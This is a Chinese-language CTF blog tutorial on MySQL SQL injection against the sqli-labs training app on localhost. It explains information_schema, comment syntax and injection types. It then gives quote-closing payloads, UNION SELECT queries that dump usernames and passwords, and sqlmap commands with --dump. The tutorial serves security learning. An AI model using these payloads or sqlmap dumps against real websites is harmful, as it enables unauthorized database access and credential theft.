CTFweb篇-SQL注入(一)

基本函数和知识

基本数据库information_schema

information_schema是一个数据库,放的是一些视图,在SQL文件中找不到。
其中具有表schemata(数据库名)、tables(表名)、columns(列名获字段名)
schemata表中有schema_name来存储数据库名
在tables表中,table_schema和table_name来存储数据库名和表名
在columns表中,有table_schema、table_name、column_name

基本函数

user()

查看当前Mysql登录用户名

database()

查看当前使用Mysql数据库名

version()

查看当前Mysql版本

group_concat()

group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] )
将同一分组分组的要连接的字段放在同一行
默认以逗号隔开
不加group by就是将所有的看作一组

limit关键字

limit m,n:只显示m到m+n行数据

常用注释

注释符

#:单行注释
–空格:单行注释(空格一般会被浏览器吃掉,最好用%20)
/* */:多行注释

内联注释(只有Mysql可识别)

/*! */

SQL注入类型

数字型

select * from table where id = 用户输入id

字符型

select * from table where id = ‘用户输入id’

检测SQL注入点

通过在URL中修改对应的ID值为正常数字、大数字、字符(单引号、双引号、双单引号、双双引号)、\来探测URL是否存在注入点

Sqli-Lab less1~4,GET基于报错的SQL注入

Less1

在这里插入图片描述
输入id=1
在这里插入图片描述
显示出了用户名和密码
接着不断更改id,发现在15时没了,说明该数据库只有15个用户
接下来进行注入点判断,在id值后面加’
在这里插入图片描述
报错:’‘1’’ LIMIT 0,1’--------------->去除两边报错信息加的双单引号------------>‘1’’ LIMIT 0,1
证明这里会对输入的id自动在两边加入单引号:

select userName,passWord from table where ID = 'ID值' limit 0,1

绕过方法:
传入?id=1’–20%---------->将后面自动加的’给注释掉

Less2

传入id=1’
报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1
‘’ LIMIT 0,1’--------------->去除两边报错信息加的双单引号------------>1’ LIMIT 0,1
证明这里输入的ID就是数值:

select userName,passWord from table where ID = ID值 limit 0,1

绕过方法:
传入?id=1–20%’

Less3

传入id=1’
报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1’ at line 1
‘‘1’’) LIMIT 0,1’--------------->去除两边报错信息加的双单引号------------>'1") LIMIT 0,1
证明这里输入的id值会在两边加(‘ID值’):

select userName,passWord from table where ID = ('ID值') limit 0,1

绕过方法:
传入?id=1’)–%20

Less4

传入参数id=1’
在这里插入图片描述
正常显示
传入id=1"
报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1"”) LIMIT 0,1’ at line 1
‘“1"”) LIMIT 0,1’--------------->去除两边报错信息加的双单引号------------>“1"”) LIMIT 0,1
证明会在传入的id值两边加了(“id值”)

select userName,passWord from table where ID = ("ID值") limit 0,1

为什么会在传入1’,1)等这些参数值时仍然不报错?
因为在SQL语法中双引号内的这些符号都被看做普通字符串,并且可以将其中的数字提出来,只有加双引号或者转义字符才可以进行对应的转换。
绕过方法:
?id=1")–%20

常用的方法

利用order by判断字段数

字段数就是属性列数
因为有几个属性才可以用几个属性去排序

Less1的利用

利用less1 的union联合user()、version()、database()函数进行插入:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1  UNION SELECT 1,user(),version()--%20

在这里插入图片描述
查看到了用户名和版本
查看table:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where  table_schema=database()--%20

information_schema.tables:information_schema数据库中的tables表
table_schema(数据库名):tables表中的列名。
查看列名:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where  table_name='users'--%20

在这里插入图片描述
查出来了所有的列名
查看所有用户名和密码:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' UNION SELECT -1,group_concat(username,':',password),3 from users--%20

在这里插入图片描述

利用sqlmap进行探寻

1、查数据库
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” --batch --dbs

在这里插入图片描述
–batch:进行默认设置
–dbs:返回所有数据库
2、查所有表
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” -D security --tables --batch
在这里插入图片描述
-D:数据库
–tables:返回指定数据库的所有表
3、查指定表中的所有列
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” -D security -T users --columns --batch
在这里插入图片描述
-T:指定表
–columns:返回所有指定表所有列
4、显示表中内容
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” -D security -T users -C username,password --dump --batch
在这里插入图片描述
–dump:就是显示表中数据

总之sqlmap功能很强大

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值